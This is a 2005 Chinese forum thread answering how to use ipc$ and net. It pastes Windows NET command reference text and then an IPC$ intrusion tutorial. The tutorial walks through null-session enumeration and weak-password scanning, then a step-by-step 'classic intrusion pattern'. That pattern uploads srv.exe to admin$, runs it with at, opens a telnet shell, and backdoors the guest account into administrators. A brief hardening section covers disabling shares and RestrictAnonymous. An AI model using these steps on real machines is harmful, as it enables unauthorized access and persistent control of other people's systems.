找回密码
 注册
搜索
热搜: 超星 读书 找书
查看: 932|回复: 3

[【解决】] 有谁知道ipc$和net 的用法

[复制链接]
发表于 2005-8-26 09:13:05 | 显示全部楼层 |阅读模式
[rm]e:zy\\mp3\\风姿花传[/rm][p:1]
回复

使用道具 举报

发表于 2005-8-26 09:23:39 | 显示全部楼层
NET命令的用法

这里将详细介绍入侵ms最关键的net命令,它将是你控制系统最有用。
注:ipc就是使用net命令远程连接的,这是比较危险的远程服务,如果没什么大的作用,请尽量关闭。这样可以大大减少远程威胁。

NET ACCOUNTS
NET HELP
NET SHARE
NET COMPUTER
NET HELPMSG
NET START
NET CONFIG
NET LOCALGROUP
NET STATISTICS
NET CONFIG SERVER
NET NAME
NET STOP
NET CONFIG WORKSTATION
NET PAUSE
NET TIME
NET CONTINUE
NET PRINT
NET USE
NET FILE
NET SEND
NET USER
NET GROUP
NET SESSION
NET VIEW

我们挑几种比较有实用价值的来说说。
->1.
net view
NET VIEW [\\computername [/CACHE] | /DOMAIN[:domainname]]
NET VIEW /NETWORK:NW [\\computername]

Net view
显示域列表、计算机列表或者由指定计算机共享的资源。

net view [\\computername | /domain[:domainname]]

net view /network:nw [\\computername]

参数



如果在没有参数的情况下使用,则 net view 显示当前域中的计算机列表。

\\computername

指定要查看其共享资源的计算机。

/domain[:domainname]

指定要查看其可用计算机的域。如果省略了 domainname,将显示网络中所有的域。

/network:nw

显示 NetWare 网络上所有可用的服务器。如果指定了计算机名,将显示 NetWare 网络中该计算机上的可用资源。添加到该系统的其他网络也可以使
用该开关指定。

Net view
范例
要查看由 \\Production 计算机共享的资源列表,请键入:

net view \\production

要查看 NetWare 服务器 \\Marketing 上的可用资源,请键入:

net view /network:nw \\marketing

要查看销售域或工作组中的计算机列表,请键入:

net view /domain:sales

要查看 NetWare 网络中的所有服务器,请键入:

net view /network:nw

Net view
说明
使用 net view 命令显示计算机列表。显示内容与以下相似:


Server Name Remark


-------------------------------------------------


\\Production Production file server


\\Print1 Printer room, first floor


\\Print2 Printer room, second floor


->2.
NET USE

Net use
将计算机与共享资源连接或断开,或者显示关于计算机连接的信息。该命令还控制持久网络连接。

net use [devicename | *] [\\computername\sharename[\volume]] [password | *]] [/user:[domainname\]username] [[/delete] |
[/persistent:{yes | no}]]

net use devicename [/home[password | *]] [/delete:{yes | no}]

net use [/persistent:{yes | no}]

参数



如果在没有参数的情况下使用,则 net use 检索网络连接列表。

devicename

指派名称以便连接到资源或指定断开的设备。有两种设备名称:磁盘驱动器(D: 到 Z:)和打印机(LPT1: 到 LPT3:)。键入星号代替特定设备名,
指派下一个可用的设备。

\\computername\sharename

指定服务器和共享资源的名称。如果 computername 包含空白字符,则将计算机名从双反斜杠 (\\) 到计算机名结尾用引号 (" ") 括起来。计算机
名长度可以是 1 到 15 个字符。

\volume

指定服务器上的 NetWare 卷。必须安装了 NetWare 客户服务 (Windows 2000 Professional) 或 NetWare 网关服务 (Windows 2000 Server),并且
正在运行连接到 NetWare 服务器。

password

指定访问共享资源所需的密码。

*

生成密码提示行。在密码提示行处键入密码时不显示密码。

/user

指定建立连接的不同用户名。

domainname

指定其他域。例如,net use d:\\server\share /user:admin\mariel 会连接用户标识符 mariel,就好象该连接是从 admin 域建立一样。如果省略
了 domainname,将使用当前登录的域。

username

指定登录时使用的用户名。

/delete

取消指定的网络连接。如果用户使用星号指定连接,则所有网络连接均将取消。

/home

将用户连到主目录。

/persistent

控制持久网络连接的使用。默认值为最后一次使用的设置。非设备连接不会持久。

yes

按其建立时的原样保存所有连接,并在下次登录时还原它们。

no

不保存已建立的连接或后续连接。现存的连接在下一次登录时还原。使用 /delete 开关删除持久连接。

Net use
范例
要将磁盘驱动器设备名 E:指派给 \\Financial 服务器上的 Letters 共享目录,请键入:

net use e:\\financial\letters

要将磁盘驱动器设备名 M: 指派(映射)给 \\Financial NetWare 服务器上 Letters 卷中的目录 Maria,请键入:

net use m:\\financial\letters\maria

要将设备名 LPT1:指派给 \\Accounting 服务器上的 Laser2 共享打印机队列,请键入:

net use lpt1:\\accounting\laser2

要从 LPT1 打印机队列断开连接,请键入:

net use lpt1:/delete

要将磁盘驱动器设备名 H:指派给主目录作为用户 mariel,请键入:

net use h:/home /user:mariel

要将磁盘驱动器设备名 F:指派给 \\Financial 服务器的 Scratch 共享目录,该目录需要密码 hctarcs,但是不建立持久连接,请键入:

net use f:\\financial\scratch hctarcs /persistent:no

要与 \\Financial\Scratch 目录断开,请键入:

net use f:\\financial\scratch /delete

要与 \\Financial 2 服务器上共享的资源连接,请键入:

net use k:"\\financial 2" \memos

包含空格的服务器名必须使用引号括起来。如果省略了引号,Windows 2000 将显示错误消息。

要在每次登录时还原当前连接而不考虑将来的更改,请键入:

net use /persistent:yes

Net use
说明
使用 net use 命令连接或断开网络资源,并查看当前与网络资源的连接。如果共享目录作为当前驱动器使用,或者正在由活动进程使用,则不能从
该共享目录断开。

得到有关连接的信息

要获得有关连接的信息,请执行以下任一操作:

键入 net use devicename 获得有关指定连接的信息。
键入 net use 获得所有计算机连接的列表。
非设备连接

非设备连接不会持久。

连接到 NetWare 服务器

安装并运行了 NetWare 客户端或网关服务软件后,您就可以连接到 Novell 网络的 NetWare 服务器上。除了必须包含要连接的卷外,与连接到
Windows 网络服务器时使用的语法相同。

->3.
Net group
在 Windows 2000 Server 的域中添加、显示或修改全局组。该命令只有在 Windows 2000 Server 域控制器上才可用。

net group [groupname [/comment:"text"]] [/domain]

net group groupname {/add [/comment:"text"] | /delete} [/domain]

net group groupname username[ ...]{/add | /delete[/domain]

参数



键入不带参数的 net group 命令显示服务器名和服务器上组的名称。

groupname

指定要添加、扩展或删除的组的名称。只提供组名以查看组中的用户列表。

/comment:"text"

为新建或已经存在的组添加注释。注释可以包含多达 48 个字符。给文本加上引号。

/domain

对当前域的主域控制器执行操作。否则,操作在本地计算机上执行。

该参数只应用于 Windows 2000 Server 域中成员的 Windows 2000 Professional 计算机。默认情况下,Windows 2000 Server 计算机在主域控制器
上执行操作。

username

列出一个或多个用户名以添加到组或从组中删除。用空格分隔多个用户名项。

/add

添加组,或向组中添加用户名称。使用此命令添加到组中的用户必须建立帐户。

/delete

删除组,或从组中删除用户。

Net group
范例
要显示本地服务器上所有组的列表,请键入:

net group

要将组 exec 添加到本地用户帐户数据库,请键入:

net group exec /add

要将组 exec 添加到安装 Windows 2000 Professional 软件计算机的 Windows 2000 Server 域用户帐户数据库,请键入:

net group exec /add /domain

要将现有用户帐户 stevev、ralphr(来自 SALES 域)和 jennyt 添加到本地计算机上的 exec 组,请键入:

net group exec stevev ralphr jennyt /add

要将现有用户帐户 stevev、ralphr(来自 SALES 域)和 jennyt 添加到安装 Windows 2000 Professional 软件计算机上的“Windows 2000
Server”域的 exec 组,请键入:

net group exec stevev ralphr jennyt /add /domain

要显示 exec 组中的用户,请键入:

net group exec

要将备注添加到 exec 组记录,请键入:

net group exec /comment:"The executive staff."

Net group
说明
该命令也可以键入为 net groups。

使用 net group 命令将以相同或相似方式使用网络的用户分组。在对组指定权限时,组的每个成员都自动获得这些权限。

显示在服务器上的组与下面出现的内容相似:


Group Accounts for \\PRODUCTION
________________________________________


*Domain Admins *Domain Users

注意每个组名之前有一个星号 (*)。星号区分显示包含用户和组的组。

->4.
Net localgroup
添加、显示或修改本地组。

net localgroup [groupname [/comment:"text"]] [/domain]

net localgroup groupname {/add [/comment:"text"] | /delete} [/domain]

net localgroup groupname name [ ...] {/add | /delete} [/domain]

参数



键入不带参数的 net localgroup 命令显示服务器名和计算机上本地组的名称。

groupname

指定要添加、扩展或删除的本地组的名称。只提供 groupname 以查看用户列表或本地组中的全局组。

/comment:"text"

为新建或已经存在的组添加注释。注释可以包含多达 48 个字符。给文本加上引号。

/domain

对当前域的主域控制器执行操作。否则,操作在本地计算机上执行。

该参数只应用于 Windows 2000 Server 域中成员的 Windows 2000 Professional 计算机。默认情况下,Windows 2000 Server 计算机在主域控制器
上执行操作。

name [ ...]

列出一个或多个用户名或组名以添加或从本地组中删除。用空格分隔多项。名称可以是本地用户、其他域的用户或全局组,但不能是其他本地组。如
果用户来自另一个域,请在用户名的开头添加域名(例如 SALES\RALPHR)。

/add

添加全局组名称或者向本地组中添加用户名称。用户或全局组必须在使用此命令加入本地组之前先建立帐户。

/delete

从本地组中删除组名称或用户名。

Net localgroup
范例
要显示本地服务器上所有本地组的列表,请键入:

net localgroup

要将本地组 exec 添加到本地用户帐户数据库,请键入:

net localgroup exec /add

要将本地组 exec 添加到 Windows 2000 Server 域用户帐户数据库,请键入:

net localgroup exec /add /domain

要将现有用户帐户 stevev、ralphr(来自 SALES 域)和 jennyt 添加到本地计算机上的 exec 本地组,请键入:

net localgroup exec stevev sales\ralphr jennyt /add

要将现有用户帐户 stevev、ralphr(来自 SALES 域)和 jennyt 添加到本地计算机上的 exec 组,请键入:

net localgroup exec stevev ralphr jennyt /add /domain

要显示 exec 本地组中的用户,请键入:

net localgroup exec

要将注释添加到 exec 本地组记录,请键入:

net localgroup exec /comment:"The executive staff."

Net localgroup
说明
使用 net localgroup 命令将以相同或相似方式使用计算机或网络的用户分组。在对本地组指定权限时,本地组的每个成员都自动获得相同的权限。

->5.
Net user
添加或修改用户帐户或者显示用户帐户信息。

net user [username [password | *] [options]] [/domain]

net user username {password | */add [options] [/domain]

net user username [/delete] [/domain]

参数



如果在没有参数的情况下使用,则 net user 将显示计算机上用户帐户的列表。

username

指定要添加、删除、修改或查看的用户帐户名。用户帐户名最多可有 20 个字符。

password

为用户帐户指派或更改密码。密码必须满足 net accounts 命令的 /minpwlen 选项设置的最小长度。最多可有 127 个字符。但是,如果网上既有
Windows 2000 计算机,也有 Windows 95 或 Windows 98 计算机,则密码不要超过 14 个字符。Windows 95 和 Windows 98 支持的密码长度最大
为 14 个字符。如果密码太长,将无法从 Windows 98 或 Windows 95 计算机上登录到网络。

*

生成该密码的提示符。在密码提示符处键入密码时不显示密码。

/domain

在计算机主域的主域控制器执行操作。

该参数只适用于属 Windows 2000 Server 域成员的 Windows 2000 Professional 计算机。默认情况下,Windows 2000 Server 计算机在主域控制器
上执行操作。

注意

该操作在计算机主域的主域控制器上执行。该域可能不是登录域。
/add

将用户帐户添加到用户帐户数据库。

/delete

从用户帐户数据库中删除用户帐户。

options

指定以下选项:

/active:{no | yes_

启用或禁用用户帐户。如果用户帐户不活动,该用户就无法访问计算机中的资源。默认设置为 yes(活动)。

/comment:text

提供关于用户账户的描述性说明。该注释最多可以有 48 个字符。给文本加上引号。

/countrycode:nnn

使用操作系统“国家(地区)”代码为用户帮助和错误消息实现指定的语言文件。数值 0 代表默认的“国家(地区)”代码。

/expires:{date | never}

如果设置了 date,会使用户帐户过期;不要给用户帐户设置时间限制。到期时间的格式可以是 mm/dd/yy、 dd/mm/yy 或 mmm,dd,yy,这取决于“国
家/地区”代码。注意,帐户在指定日期开始时到期。月份可以是数字、拼写或三个字母的缩写。年份可以是两位或四位数字。使用逗号和斜杠分隔
日期的各部分(不使用空格)。如果省略了 yy,将假定为下一次出现的日期(根据计算机的日期和时间)。例如,如果输入的日期在 1994 年 1
月 10 日到 1995 年 1 月 8 日之间,则下列 date 项相等:

jan,9
1/9/95
january,9,1995
1/9

/fullname:"name"

指定用户的全名而不是用户名。将名称用引号括起来。

/homedir:path

设置用户主目录的路径。该路径必须存在。

/passwordchg:{yes | no}

指定用户是否可以更改自己的密码。默认设置为 yes。

/passwordreq:{yes | no}

指定用户帐户是否必须有密码。默认设置为 yes。

/profilepath:[path]

设置用户登录配置文件的路径。该路径指向注册表配置文件。

/scriptpath:path

设置用户登录脚本的路径。path 值不能是绝对路径;path 相对于 %systemroot%\System32\Repl\Import\scripts。

/times:{times | all}

指定允许用户使用计算机的时间。times 值表示为 day [-day][,day[-day]],time[-time][,time[-time]],增量限于 1 小时。日期可以拼写或
缩写 (M,T,W,Th,F,Sa,Su)。小时可以使用 12 或 24 制表示法。对于 12 小时表示法,请使用 AM、PM 或 A.M.、P.
回复

使用道具 举报

发表于 2005-8-26 09:24:16 | 显示全部楼层
IPC$局域网入侵详解

PC$命令详解
   网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄.
   不过话虽这样说,但我个人认为这些文章讲解的并不详细,对于第一次接触ipc$的菜鸟来说,简单的罗列步骤并不能解答他们的许多迷惑(你随便找一个hack论坛搜一下ipc,看存在的疑惑有多少).
   因此我写了这篇相当于解惑的教程.想把一些容易混淆,容易迷惑人的问题说清楚,让大家不要总徘徊在原地!如果你看完这篇帖子仍有疑问,请马上回复!


   二 什么是ipc$
   IPC$(Internet Process
   Connection)是共享"命名管道"的资源(大家都是这么说的),它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
   利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。
   我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。
   所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心?我也不知道,代词一个)会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的.

   解惑:
   1)IPC连接是Windows NT及以上系统中特有的远程网络登陆功能,其功能相当于Unix中的Telnet,由于IPC$功能需要用到Windows
   NT中的很多DLL函数,所以不能在Windows 9.x中运行。
   也就是说只有nt/2000/xp才可以建立ipc$连接,98/me是不能建立ipc$连接的(但有些朋友说在98下能建立空的连接,不知道是真是假,不过现在都2003年了,建议98的同志换一下系统吧,98不爽的)
   2)即使是空连接也不是100%都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连接
   3)并不是说建立了ipc$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表


   三 建立ipc$连接在hack攻击中的作用
   就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份登陆,嘿嘿,就不用我在多说了吧,what
   u want,u can do!!
   (基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是2000server,还可以考虑开启终端服务方便控制.怎么样?够厉害吧!)
   不过你也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些傻傻的管理员用空口令或者弱智密码,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,管理员们也愈加小心了,得到管理员密码会越来越难的

   因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,你会慢慢的发现ipc$连接并不是万能的,甚至在主机不开启ipc$共享时,你根本就无法连接.
   所以我认为,你不要把ipc$入侵当作终极武器,不要认为它战无不胜,它就像是足球场上射门前的传球,很少会有致命一击的效果,但却是不可缺少的,我觉得这才是ipc$连接在hack入侵中的意义所在.


   四 ipc$与空连接,139,445端口,默认共享的关系
   以上四者的关系可能是菜鸟很困惑的一个问题,不过大部分文章都没有进行特别的说明,其实我理解的也不是很透彻,都是在与大家交流中总结出来的.(一个有良好讨论氛围的BBS可以说是菜鸟的天堂)

   1)ipc$与空连接:
   不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了.
   许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟).
   2)ipc$与139,445端口:
   ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的.
   3)ipc$与默认共享
   默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)
   

   五 ipc$连接失败的原因
   以下5个原因是比较常见的:
   1)你的系统不是NT或以上*作系统;
   2)对方没有打开ipc$默认共享
   3)对方未开启139或445端口(惑被防火墙屏蔽)
   4)你的命令输入有误(比如缺少了空格等)
   5)用户名或密码错误(空连接当然无所谓了)
   另外,你也可以根据返回的错误号分析原因:
   错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
   错误号51,Windows 无法找到网络路径 : 网络有问题;
   错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
   错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$;
   错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。
   错误号1326,未知的用户名或错误密码 : 原因很明显了;
   错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况)
   错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。
   关于ipc$连不上的问题比较复杂,除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就靠大家自己体会和试验了.


   六 如何打开目标的IPC$(此段引自相关文章)
   首先你需要获得一个不依赖于ipc$的shell,比如sql的cmd扩展、telnet、木马,当然,这shell必须是admin权限的,然后你可以使用shell执行命令
   net share ipc$
   来开放目标的ipc$。从上面可以知道,ipc$能否使用还有很多条件。请确认相关服务都已运行,没有就启动它(不知道怎么做的请看net命令的用法),还是不行的话(比如有防火墙,杀不了)建议放弃。



   七 如何防范ipc$入侵
   1禁止空连接进行枚举(此*作并不能阻止空连接的建立,引自《解剖win2000下的空会话》)
   首先运行regedit,找到如下组建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous
   = DWORD的键值改为:00000001(如果设置为2的话,有一些问题会发生,比如一些WIN的服务出现问题等等)

   2禁止默认共享
   1)察看本地共享资源
   运行-cmd-输入net share
   2)删除共享(每次输入一个)
   net share ipc$ /delete
   net share admin$ /delete
   net share c$ /delete
   net share d$ /delete(如果有e,f,……可以继续删除)
   3)停止server服务
   net stop server /y (重新启动后server服务会重新开启)
   4)修改注册表
   运行-regedit
   server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的键值改为:00000000。

   pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的键值改为:00000000。

   如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值。

   3永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务
   控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-已禁用

   4安装防火墙(选中相关设置),或者端口过滤(滤掉139,445等),或者用新版本的优化大师

   5设置复杂密码,防止通过ipc$穷举密码


   八 相关命令
   1)建立空连接:
   net use \\IP\ipc$ "" /user:""    (一定要注意:这一行命令中包含了3个空格)

   2)建立非空连接:
   net use \\IP\ipc$ "用户名" /user:"密码"  (同样有3个空格)

   3)映射默认共享:
   net use z: \\IP\c$ "密码" /user:"用户名"    (即可将对方的c盘映射为自己的z盘,其他盘类推)
   如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: \\IP\c$

   4)删除一个ipc$连接
   net use \\IP\ipc$ /del

   5)删除共享映射
   net use c: /del 删除映射的c盘,其他盘类推
   net use * /del 删除全部,会有提示要求按y确认


   九 经典入侵模式
   这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈)

   11. C:\>net use \\127.0.0.1\IPC$ "密码" /user:"用户名"
   一般用流光,通过扫描弱口令来得到,管理员帐号和密码.
   2. C:\>copy srv.exe \\127.0.0.1\admin$
   先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。
     
   3. C:\>net time \\127.0.0.1
   查查时间,发现127.0.0.1 的当前时间是 2004/6/15 上午 11:00,命令成功完成。
     
   4. C:\>at \\127.0.0.1 11:05 srv.exe
   用at命令启动srv.exe吧

   5. C:\>net time \\127.0.0.1
   再查查到时间没有?如果127.0.0.1 的当前时间是 2004/6/15 上午 11:05,那就准备开始下面的命令。
     
   6. C:\>telnet 127.0.0.1 99
   这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。
   虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了
     
   7.C:\>copy ntlm.exe \\127.0.0.1\admin$
   用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。
     
   8. C:\WINNT\system32>ntlm
   输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net
   start telnet"来开启Telnet服务!

   9. Telnet
127.0.0.1,接着输入用户名与密码就进入对方了,*作就像在DOS上*作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)

   为了以防万一,我们再把guest激活加到管理组  
   10. C:\>net user guest /active:yes
   将对方的Guest用户激活

   11. C:\>net user guest 1234
   将Guest的密码改为1234,或者你要设定的密码

   12. C:\>net localgroup administrators guest /add
   将Guest变为Administrator(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)
   ipc$详细解释大全
   一 前言

   网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄。

   不过话虽这样说,但我个人认为这些文章讲解的并不详细,对于第一次接触ipc$的菜鸟来说,简单的罗列步骤并不能解答他们的种种迷惑(你随便找一个hack论坛搜一下ipc$,看看存在的疑惑有多少)。因此我参考了网上的一些资料,教程以及论坛帖子,写了这篇总结性质的文章,想把一些容易混淆,容易迷惑人的问题说清楚,让大家不要总徘徊在原地!

   注意:本文所讨论的各种情况均默认发生在win NT/2000环境下,win98将不在此次讨论之列,而鉴于win
   Xp在安全设置上有所提高,个别*作并不适用,有机会将单独讨论。


   二 什么是ipc$


   IPC$(Internet Process
   Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC$是NT/2000的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。NT/2000在提供了ipc$功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(c$,d$,e$……)和系统目录winnt或windows(admin$)共享。所有的这些,微软的初衷都是为了方便管理员的管理,但在有意无意中,导致了系统安全性的降低。

   平时我们总能听到有人在说ipc$漏洞,ipc$漏洞,其实ipc$并不是一个真正意义上的漏洞,我想之所以有人这么说,一定是指微软自己安置的那个‘后门’:空会话(Null
   session)。那么什么是空会话呢?


   三 什么是空会话


   在介绍空会话之前,我们有必要了解一下一个安全会话是如何建立的。
   在Windows NT
   4.0中是使用挑战响应协议与远程机器建立一个会话的,建立成功的会话将成为一个安全隧道,建立双方通过它互通信息,这个过程的大致顺序如下:
   1)会话请求者(客户)向会话接收者(服务器)传送一个数据包,请求安全隧道的建立;
   2)服务器产生一个随机的64位数(实现挑战)传送回客户;
   3)客户取得这个由服务器产生的64位数,用试图建立会话的帐号的口令打乱它,将结果返回到服务器(实现响应);
   4)服务器接受响应后发送给本地安全验证(LSA),LSA通过使用该用户正确的口令来核实响应以便确认请求者身份。如果请求者的帐号是服务器的本地帐号,核实本地发生;如果请求的帐号是一个域的帐号,响应传送到域控制器去核实。当对挑战的响应核实为正确后,一个访问令牌产生,然后传送给客户。客户使用这个访问令牌连接到服务器上的资源直到建议的会话被终止。

   以上是一个安全会话建立的大致过程,那么空会话又如何呢?

   空会话是在没有信任的情况下与服务器建立的会话(即未提供用户名与密码),但根据WIN2000的访问控制模型,空会话的建立同样需要提供一个令牌,可是空会话在建立过程中并没有经过用户信息的认证,所以这个令牌中不包含用户信息,因此,这个会话不能让系统间发送加密信息,但这并不表示空会话的令牌中不包含安全标识符SID(它标识了用户和所属组),对于一个空会话,LSA提供的令牌的SID是S-1-5-7,这就是空会话的SID,用户名是:ANONYMOUS
   LOGON(这个用户名是可以在用户列表中看到的,但是是不能在SAM数据库中找到,属于系统内置的帐号),这个访问令牌包含下面伪装的组:
   Everyone
   Network
   在安全策略的限制下,这个空会话将被授权访问到上面两个组有权访问到的一切信息。那么建立空会话到底可以作什么呢?


   四 空会话可以做什么


   对于NT,在默认安全设置下,借助空连接可以列举目标主机上的用户和共享,访问everyone权限的共享,访问小部分注册表等,并没有什么太大的利用价值;对2000作用更小,因为在Windows
   2000
   和以后版本中默认只有管理员和备份*作员有权从网络访问到注册表,而且实现起来也不方便,需借助工具。从这些我们可以看到,这种非信任会话并没有多大的用处,但从一次完整的ipc$入侵来看,空会话是一个不可缺少的跳板,因为我们从它那里可以得到户列表,这对于一个老练的黑客已经足够了。以下是空会话中能够使用的具体命令:



   1 首先,我们先建立一个空会话(需要目标开放ipc$)
   命令:net use \\ip\ipc$ "" /user:""
   注意:上面的命令包括四个空格,net与use中间有一个空格,use后面一个,密码左右各一个空格。


   2 查看远程主机的共享资源
   命令:net view \\IP
   解释:建立了空连接后,用此命令可以查看远程主机的共享资源,如果它开了共享,可以得到如下类似类似结果:
   在 \\*.*.*.*的共享资源
   资源共享名 类型 用途 注释

   -----------------------------------------------------------
   NETLOGON Disk Logon server share
   SYSVOL Disk Logon server share
   命令成功完成。


   3 查看远程主机的当前时间
   命令:net time \\IP
   解释:用此命令可以得到一个远程主机的当前时间。


   4 得到远程主机的NetBIOS用户名列表(需要打开自己的NBT)
   nbtstat -A IP
   用此命令可以得到一个远程主机的NetBIOS用户名列表(需要你的netbios支持),返回如下结果:

   Node IpAddress: [*.*.*.*] Scope Id: []

   NetBIOS Remote Machine Name Table

   Name Type Status
   ---------------------------------------------
   SERVER <00> UNIQUE Registered
   OYAMANISHI-H <00> GROUP Registered
   OYAMANISHI-H <1C> GROUP Registered
   SERVER <20> UNIQUE Registered
   OYAMANISHI-H <1B> UNIQUE Registered
   OYAMANISHI-H <1E> GROUP Registered
   SERVER <03> UNIQUE Registered
   OYAMANISHI-H <1D> UNIQUE Registered
   ..__MSBROWSE__.<01> GROUP Registered
   INet~Services <1C> GROUP Registered
   IS~SERVER......<00> UNIQUE Registered

   MAC Address = 00-50-8B-9A-2D-37

   以上就是我们经常使用空会话做的事情,好像也能获得不少东西哟,不过要注意一点:建立IPC$连接的*作会在EventLog中留下记录,不管你是否登录成功。
   好了,那么下面我们就来看看ipc$所使用的端口是什么?


   五 ipc$所使用的端口


   首先我们来了解一些基础知识:
   1 SMBServer Message Block) Windows协议族,用于文件打印共享的服务;
   2 NBTNETBios Over
   TCP/IP)使用137(UDP)138(UDP)139(TCP)端口实现基于TCP/IP协议的NETBIOS网络互联。
   3 在WindowsNT中SMB基于NBT实现,而在Windows2000中,SMB除了基于NBT实现,还可以直接通过445端口实现。

   有了这些基础知识,我们就可以进一步来讨论访问网络共享对端口的选择了:

   对于win2000客户端来说:
   1
   如果在允许NBT的情况下连接服务器时,客户端会同时尝试访问139和445端口,如果445端口有响应,那么就发送RST包给139端口断开连接,用455端口进行会话,当445端口无响应时,才使用139端口,如果两个端口都没有响应,则会话失败;

   2 如果在禁止NBT的情况下连接服务器时,那么客户端只会尝试访问445端口,如果445端口无响应,那么会话失败。由此可见,禁止了NBT后的win
   2000对win NT的共享访问将会失败。


   对于win2000服务器端来说:
   1 如果允许NBT, 那么UDP端口137, 138, TCP 端口 139, 445将开放;
   2 如果禁止NBT,那么只有445端口开放。


   我们建立的ipc$会话对端口的选择同样遵守以上原则。显而易见,如果远程服务器没有监听139或445端口,ipc$会话是无法建立的。


   六 ipc$连接在hack攻击中的意义


   就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份登陆,嘿嘿,那你可就了不得了,基本上可以为所欲为了。不过你也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些粗心的管理员存在弱口令,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,管理员们也愈加小心了,得到管理员密码将会越来越难的,因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,甚至在主机不开启ipc$共享时,你根本就无法连接,你会慢慢的发现ipc$连接并不是万能的,所以不要奢望每次连接都能成功,那是不现实的。

   是不是有些灰心?倒也不用,关键是我们要摆正心态,不要把ipc$入侵当作终极武器,不要认为它战无不胜,它只是很多入侵方法中的一种,你有可能利用它一击必杀,也有可能一无所获,这些都是正常的,在黑客的世界里,不是每条大路都能通往罗马,但总有一条路会通往罗马,耐心的寻找吧!



   七 ipc$连接失败的常见原因

   以下是一些常见的导致ipc$连接失败的原因:


   1 IPC连接是Windows NT及以上系统中特有的功能,由于其需要用到Windows NT中很多DLL函数,所以不能在Windows
